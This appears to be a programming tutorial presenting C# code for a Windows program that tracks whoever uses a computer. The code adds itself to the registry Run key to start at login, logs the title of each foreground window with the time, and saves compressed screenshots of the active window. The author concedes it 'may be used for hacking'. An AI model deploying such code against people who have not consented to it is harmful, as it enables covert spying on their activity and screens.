*Attention: When you run the program, save snapshot in the path program "...\snapshot_and_track_user\bin\Debug\image" and log save in "...\snapshot_and_track_user\bin\Debug\loge".
Introduction
This program may be used for hacking or something else. But I wrote it for tracking users who use my computer. Its snapshot image desktop application (not run time it takes events) saves title program running a compact image in output for sending an email and saves tracking user with time and name applications.
Background
It takes pictures when user runs the applications and saves it with a compact size with the user program.
Using the Code
Start Up App and Run in Startup Windows
private void Form1_Load(object sender, EventArgs e)
{
creat_folder_log("//log"); creat_folder("//image"); RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\
Microsoft\\Windows\\CurrentVersion\\Run", true); add.SetValue("vchimg", "\"" +
Application.ExecutablePath.ToString() + "\"");
path_log = path_program_log + "\\logtex.txt"; }
Header You Need For GetActiveWindowTitle
WinEventDelegate dele = new WinEventDelegate(WinEventProc);
IntPtr m_hhook = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND,
IntPtr.Zero, dele, 0, 0, WINEVENT_OUTOFCONTEXT);
delegate void WinEventDelegate(IntPtr hWinEventHook, uint eventType, IntPtr hwnd,
int idObject, int idChild, uint dwEventThread, uint dwmsEventTime);
[DllImport("user32.dll")]
static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax,
IntPtr hmodWinEventProc, WinEventDelegate lpfnWinEventProc, uint idProcess,
uint idThread, uint dwFlags);
private const uint WINEVENT_OUTOFCONTEXT = 0;
private const uint EVENT_SYSTEM_FOREGROUND = 3;
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("user32.dll")]
private static extern IntPtr GetWindowRect(IntPtr hWnd, ref Rect rect);
[StructLayout(LayoutKind.Sequential)]
private struct Rect
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
Void GetActiveWindowTitle With user32.dll
public string GetActiveWindowTitle()
{
const int nChars = 256;
IntPtr handle = IntPtr.Zero;
StringBuilder Buff = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0)
{
return Buff.ToString();
}
return null;
}
Void snapshot Imge and compress Jpg
void captcure_imge()
{
Rectangle bounds;
var foregroundWindowsHandle = GetForegroundWindow();
var rect = new Rect();
GetWindowRect(foregroundWindowsHandle, ref rect);
bounds = new Rectangle(rect.Left, rect.Top, rect.Right - rect.Left,
rect.Bottom - rect.Top);
if (bounds.Width != 0 || bounds.Height != 0)
{
var result = new Bitmap(bounds.Width, bounds.Height);
using (var g = Graphics.FromImage(result))
{
g.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty
, bounds.Size);
}
string name_file = path_program + "\\image" + m.ToString() +
"_" + DateTime.Now.Hour.ToString() + "_" + DateTime.Now.Minute.ToString()+
"_"+DateTime.Now.Second.ToString() + "_day" + DateTime.Now.Day.ToString() +
".jpg";
Bitmap bmp1 = new Bitmap(result);
ImageCodecInfo jgpEncoder = GetEncoder(ImageFormat.Jpeg);
System.Drawing.Imaging.Encoder myEncoder =System.Drawing.Imaging.Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 10L);
myEncoderParameters.Param[0] = myEncoderParameter;
bmp1.Save(name_file, jgpEncoder, myEncoderParameters);
result.Dispose();
bmp1.Dispose();
}
}
private ImageCodecInfo GetEncoder(ImageFormat format)
{
ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();
foreach (ImageCodecInfo codec in codecs)
{
if (codec.FormatID == format.Guid)
{
return codec;
}
}
return null;
}
Create Folder Image And Log
void creat_folder(string name_folder)
{
string n = System.IO.Path.GetDirectoryName(Application.ExecutablePath.ToString()).
ToString() + name_folder;
if (Directory.Exists(n) == false)
{
System.IO.Directory.CreateDirectory(n);
}
path_program = n;
}
Main Void Run With EventHook. All void we need to run it in this function.
public void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd,
int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
{
StreamWriter log = new StreamWriter(path_log, true);
log.WriteLine(GetActiveWindowTitle() + "=>Time:" +
DateTime.Now.ToLongTimeString());
log.Close();
m++;
captcure_imge();
}